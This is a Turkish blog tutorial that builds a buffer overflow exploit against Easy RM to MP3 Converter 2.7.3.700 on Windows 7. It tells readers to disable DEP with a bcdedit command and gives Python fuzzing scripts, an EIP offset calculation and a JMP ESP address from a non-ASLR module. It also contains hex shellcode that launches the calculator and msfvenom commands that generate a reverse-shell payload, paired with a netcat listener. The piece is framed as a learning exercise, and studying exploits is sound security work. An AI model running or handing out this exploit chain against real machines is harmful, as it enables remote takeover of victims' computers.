BLOG YAZILARIMIZ

April 10, 2020 / blog yazısı

Windows 7 Ortamında Easy RM to MP3 Converter Programı Bellek Tasırma Yöntemiyle Istismar Yazılımı

Bu alıştırmada, birçok çalışmada işlenmiş ünlü Easy RM to MP3 Converter programını (sürüm 2.7.3.700) çökerterek bellek taşırma yöntemiyle istismar etmeye çalışacağız.

Ön Gereksinimler :

  • Windows 7
  • Kali Linux ve Metasploit
  • VMware Player
  • Immunity Debugger
  • Mona.py Eklentisi (Immunity Debugger için)
  • Python Kodu Yazabilme
  • Easy RM to MP3 Converter (programı buradan indirebilirsiniz)

Ön Hazırlık :

Bu çalışmada Windows 7 bilgisayarıma sızmak için VMware sanal makine ortamında Kali Linux kullanıyorum. VMware programını Unity Mode ile çalıştırmayı, bize Linux ve Windows platformları arasında dosyaları sürükle&bırak olanağı sağlaması nedeniyle özellikle tercih ettik.

Bu çalışmada özellikle Windows’un Veri Yürütme Engellemesi (Data Execution Prevention – DEP) özelliğinin iptal edilmiş olmasından emin olmalıyız. DEP, işletim sistemi tarafından, programlar tarafından veri girdisi beklendiği esnada, zararlı amaçlı kod betiğinin (shellcode) çalışmasını engellemek için uygulanan bir korunma mekanizmasıdır.

DEP özelliğini aşağıdaki komutu yönetici yetkisiyle çalıştırarak iptal edebilirsiniz:

bcdedit.exe /set {current} nx AlwaysOff

DEP’in durumundan emin olmak için aşağıdaki komutla test edebilirsiniz:

wmic OS Get DataExecutionPrevention_SupportPolicy

Bu komutun ardından aşağıdaki sonuçlardan birini alacaksınız:

0 – DEP tüm işlemler için iptal edilmiştir.

1 – DEP tüm işlemler için etkinleştirilmiştir.

2 – DEP yalnızca Windows sistem bileşenleri için etkindir (varsayılan durum).

3 – DEP tüm işlemler için etkinleştirilmiştir. Yöneticiler, DEP uygulanmayan özel uygulamaların listesini el ile oluşturabilir.

0 ve 2 numaralı seçenekler, istismar örneğimizin çalışması için yeterli olacaktır.

Ayrıca örneğimize başlamadan önce iki platformun birbiriyle ping yapabildiğinden lütfen emin olun. Bu örnek için Windows Güvenlik Duvarını kapatmanıza gerek yok, çünkü örneğimizi 443 portu üzerinden çalıştıracağız.

Kali Linux ortamında metin düzenleyici gedit programını tercih ediyorum (apt-get install gedit ile indirebilirsiniz). Ancak dileğinize göre vi, nano, ya da başka bir editör de kullanabilirsiniz.

FUZZING İLE BULAMA

Her şeyden önce lütfen öncelikle Easy RM to MP3 Converter yazılımını açın ve programın nasıl çalıştığını anlamaya çalışın. Bu Load butonuna basarak çeşitlik formatlardaki medya dosyaları yükleyebileceğiniz basit bir programdır.

Load butonu programımızın girdi aldığı yerdir. Amacımız aşırı girdi sağlayarak bu kanaldan programı çökertmenin bir yolunu bulmaya çalışmak olacak.

İlk olarak 20.000 karakter uzunluğunda bir dosya adı hazırlayalım:

#!/usr/bin/python
attack = 'A' * 20000
print attack

Ardından programımızı çalıştırabilir formata dönüştürelim:

chmod a+x fuzz1

Sonra ise .m3u medya formatına dönüştürerek programımız için uygun bir girdi dosyası hazırlamış olalım:

./fuzz1 > fuzz1.m3u

Dosyayı cat komutu ile açtığımızda, 20.000 karakterin sıralanmış olduğunu göreceğiz:

Evet, girdi dosyamız hazır, şimdi dosyamızı önce Linux Desktop masaüstüne, arından sürükle & bırak ile Windows ortamına aktarabiliriz:

cp fuzz1.m3u ~/Desktop

Artık Easy RM to MP3 Converter programı ile hazırladığımız dosyayı açıp Load butonuna basarak yükleyebiliriz. Dosyayı görmek için açarken Dosya Türü olarak .m3u seçeneğini seçerek fuzz1.m3u dosyasını açalım.

Dosyayı yüklemenin ardından, aşağıdaki gibi bir hata mesajının çıktığını görürüz, ancak programımız çökmemiştir:

O halde fuzz1 programını fuzz2 olarak kopyalayalım ve girdi değerimizi 30.000 karaktere çıkaralım:

cp fuzz1 fuzz2

#!/usr/bin/python
attack = 'A' * 30000
print attack

Yine girdi dosyamızı hazırlamak için aşağıdaki komutları çalıştıralım:

chmod a+x fuzz2

./fuzz2 > fuzz2.m3u

cp fuzz2.m3u ~/Desktop

Easy RM to MP3 Converter programıyla fuzz2 dosyasını yüklediğinizde, bu defa programın çöktüğünü göreceksiniz. Bunun anlamı programın 20.000 ila 30.000 karakter arasında bir yerlerde istismara açık olduğudur !!!

Immunity Debugger Sahneye Gelsin

Şimdi Immunity Debugger programını Yönetici yetkisiyle çalıştıralım ve RM2MP3Converter.exe programını seçerek açalım. Ardından aşağıdaki şekilde çalıştır butonuna basalım:

Aynı şekilde fuzz2.m3u dosyasını yüklediğimizde, programın debugger ortamındaki çökme görüntüsünü elde edeceğiz:

Aşağıda bir hata mesajı uyarısı göreceksiniz: Access violation when executing [41414141]. Bu bir erişim hatası mesajıdır. 41 ise ‘A’ karakterinin Hex formatındaki değerinden ibarettir. Evet, doğru yoldayız!

O zaman Python koduyla uygun bir desen hazırlayalım ve programın tam olarak nerede çöktüğünü tespit edelim.

Bu defa fuzz2’yi fuzz3 olarak kopyalıyoruz:

cp fuzz2 fuzz3

#!/usr/bin/python
prefix = 'A' * 20000
chars = "
for a in range(0x41, 0x5A):
  for i in range(0x30, 0x3A):
    for j in range(0x30, 0x3A):
      chars += chr(a) + chr(a) + chr(i) + chr(j)
attack = prefix + chars
print attack

Tekrar aşağıdaki komutları çalıştıralım ve girdi dosyamızı hazırlayalım:

Chmod a+x fuzz3

./fuzz3 > fuzz3.m3u

fuzz3.m3u dosyasını cat ile görüntülerseniz, 20.000 ‘A’ karakterinin ardından gelen tekil karakter desenini göreceksiniz:

Şimdi bu dosyamızı da Desktop masaüstüne kopyalayalım ve ardından Windows ortamına aktaralım:

cp fuzz3.m3u ~/Desktop

Dosyayı Immunity Debugger ortamında yüklediğinizde, program çöktüğünde özel bir karakter deseni göreceksiniz:

Access violation at [32325050] şeklinde bir erişim hatası aldık. Şimdi bu karakter dizininin konumunu bulmak için yazmış olduğumuz Python kodunu yeniden inceleyelim. Ancak öncelikle ASCII olarak bu karakter dizini tam olarak neye karşılık gelir? Aşağıdaki referans tablosundan istifade edersek, [32325050] değerinin [22PP] değerine karşılık geldiğini görüyoruz. i386 Intel platformu tersinden adresleme özelliğine sahip olduğu için bu aslında “PP22” adres değerinin karşılığıdır.

Şimdi python desen yapımıza tekrar bir bakalım:

Her satırda toplam 400 karakter dolayısıyla da byte karakter değeri var, PP22 ise 16ncı satırın 22nci sütununda yer alıyor tam olarak. “PP22” dizininden önce dolayısıyla toplam;

15×400 bytes + 22×4 bytes

miktarında bir alan mevcut.

Yönerge Göstergesinin (Instruction Pointer -EIP- Tam Konumunu Belirleme

Ana fikir temelde oldukça sade: Program çöktüğünde EIP yönerge göstergesinin tam konumunu tespit ederiz ve ardından program akışını elimize geçiririz.

O halde şimdi fuzz3 programını fuzz4 olarak kopyalayalım ve EIP değerinin konumunu “BCDE” olarak belirleyelim. Bakalım hesaplamamız doğru olmuş mu?:

cp fuzz3 fuzz4

#!/usr/bin/python
prefix = 'A' * (20000 + 15*400 + 22*4)
eip = 'BCDE'
padding = 'F' * (30000 - len(prefix) - 4)
attack = prefix + eip + padding
print attack

Girdi dosyasını hazırlamak için aşağıdaki komutları çalıştırmayı unutmayınız:

chmod a+x fuzz4

./fuzz4 > fuzz4.m3u

cp fuzz4.m3u ~/Desktop

Girdi dosyasını programımızla yüklediğimizde, programın gerçekten düşündüğümüz [45444342] konumunda yani “BCDE” değerinin Hex formatındaki ters-adresli karşılığında çöktüğünü görüyoruz.

ESP Yığınına Zıplamak ve Tavşan Deliğine Dalmak

Artık EIP adresine enjekte edeceğimiz kodu çalıştırabileceğimizden emin olmanın zamanı geldi. Bu aşamada, program çöktüğü andaki ESP dump durumunu bir incelememizde fayda var. Immunity Debugger ortamında, program çöktüğü esnada, ESP register değerine sağ tıklayarak “Follow in Dump” değerini seçiniz. Bu size ESP yığınının o andaki görünümünü getirecektir. ESP’yi incelediğimizde “BCDE” değerinden sonra satırı tamamlayan 4 adet daha “FFFF” değeri bulunduğunu görüyoruz. Bu durumu sonraki satır geçiş ofseti olarak aklımızda tutalım.

Aslında bu aşamada EIP yönergesine doğrudan ESP’nin bir sonraki başlangıç adresini (0x000FF5E8) verebiliriz. Ancak bu çok güvenilir bir yöntem değildir, dikkat ederseniz adress null byte yani sıfır byte değeri içermekte (sıfır byte, karakter dizini sonu anlamına geldiğinden, hazırladığımız istismar kodunun yarıda kesilmesi anlamına geleeğinden istenmeyen bir durumdur) ve aynı durumun başka bir makinede de tam olarak aynı adreste gerçekleşeceğini garanti etmemiz mümkün değil. Bunun yerine istismar kodumuzu, jmp + esp yönergesi ve ardından boş işlem (NOP) değerleriyle daha jenerik ve güçlü hale getirmeliyiz.

Bu noktada ayrıca dikkat etmemiz gereken bir durum daha var. Seçeceğimiz jmp + esp yönerge adresi, Address Space Layout Randomization (ASLR) nedeniyle değişken olmamalı. ASLR de, işletim sistemi tarafından istismar yazılımlarına karşı geliştirilmiş bir mekanizmadır ve programlar ile modüllerin her defasında belli kısıtlar içinde dahi olsa rasgele gelmesini sağlar.

Bu noktada Immunity Debugger için geliştirilmiş olan Mona.py eklentisinden istifade edebiliriz.Öncelikle elimizdeki modüllerin bir listesini görelim:

!mona modules

Burada, yalnızca MSRMfilter03.dll modülünün ASLR ve Rebase değerinin False olduğunu, yani bu modülün değişken olmadığını görüyoruz. Dolayısıyla üzerinde çalışmamız gereken modül bu:

!mona jmp -r esp -m MSRMfilter03.dll

Evet, aradığımız jmp + esp yani bunun karşılığı olan push esp + ret değerine karşılık gelen bir adres gerçekten mevcut:

0x1001b058.

Kod Çalışmasını Test Edelim

Artık kod akışını denemenin zamanı geldi. Öncelikle dilerseniz bir INT 3 (‘\xCC’) sistem kesme komutunu deneyelim. EIP’den sonra ve kesmeden önce 4 adet FFFF için ve bir miktar boş NOP işlemi için yer ayıralım. Bu örneğimizde aslında boş işlem şart değil, ama yine de kodumuzun bir erişim hatası almaması için ek bir güvenlik yöntemi olarak bulunmasında yarar var.

gedit attack1

#!/usr/bin/python

prefix = 'A' * (20000 + 15*400 + 22*4)
eip = '\x58\xb0\x01\x10'
offsetFFFF = 'FFFF'
nopsled = '\x90' * 16
int3 = '\xCC'
padding = 'F' * (30000 - len(prefix) - 4 -4 -16 -1)
attack = prefix + eip + offsetFFFF+ nopsled + int3 + padding
print attack

chmod a+x attack1

./attack1 > attack1.m3u

cp attack1.m3u ~/Desktop

Evet, sistem kesme kodu gerçekten başarılı bir şekilde çalıştı. Artık gerçek bir shellcode yani program betiği çalıştırmayı deneyebiliriz. Gelin öncelikle hesap makinesini çağıran bir betiği deneyelim:

gedit attack2

#!/usr/bin/python

prefix = 'A' * (20000 + 15*400 + 22*4)

eip = '\x58\xb0\x01\x10'

skip4 = 'F' * 4

nopsled = '\x90' * 16

buf = (
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
padding = 'F' * (30000 - len(prefix) - 4 - 4 - 16 - len(buf))
attack = prefix + eip + skip4 + nopsled + buf + padding
print attack

chmod a+x attack2

./attack2 > attack2.m3u

cp attack2.m3u ~/Desktop

Başardık, istismar yazılımımız gerçekten çalışıyor!

Ancak çok büyük bir ihtimalle istismar çalışmamızın amacı kurban bilgisayarda calc.exe’yi çalıştırmak olmayacaktır. Bunun yerine bize komut istemi açacak bir betik denemeliyiz. Bu noktada Kali Linux ile gelen Metasploit altyapısından istifade edebiliriz:

Öncelikle ifconfig komutu ile kendi IP’nizi öğrenerek LHOST değeri olarak girmeyi unutmayın.

msfpayload windows/shell_reverse_tcp LHOST=”192.168.0.99″ LPORT=443
EXITFUNC=thread R | msfencode -e x86/alpha_mixed -f python

Bu komut oldukça sağlam, ancak hem msfpayload hem de msfencode Metasploit tarafından rafa kaldırılmak üzere. Bu nedenle aynı maksatlı kodu msfvenom ile üretmeyi de seçebiliriz:

msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=192.168.0.99 LPORT=443
-e x86/shikata_ga_nai -b ‘\x00’-i 3 -f python

Bu komut, karşı bilgisayardan tersine TCP bağlantısı açan ve bize Windows komut istemi sağlayan bir shellcode üretir.

Öncelikle Linux makinemizde bir listener yani ağ dinleyicisi açalım:

nc -nlvp 443

Şimdi ürettiğimiz girdi dosyasını karşı tarafta açabiliriz. Ele geçirmenin tadını çıkarın.

KAYNAKLAR

https://samsclass.info/127/proj/easymp3-with-aslr.htm

https://www.corelan.be/

YORUMLAR

  • YORUM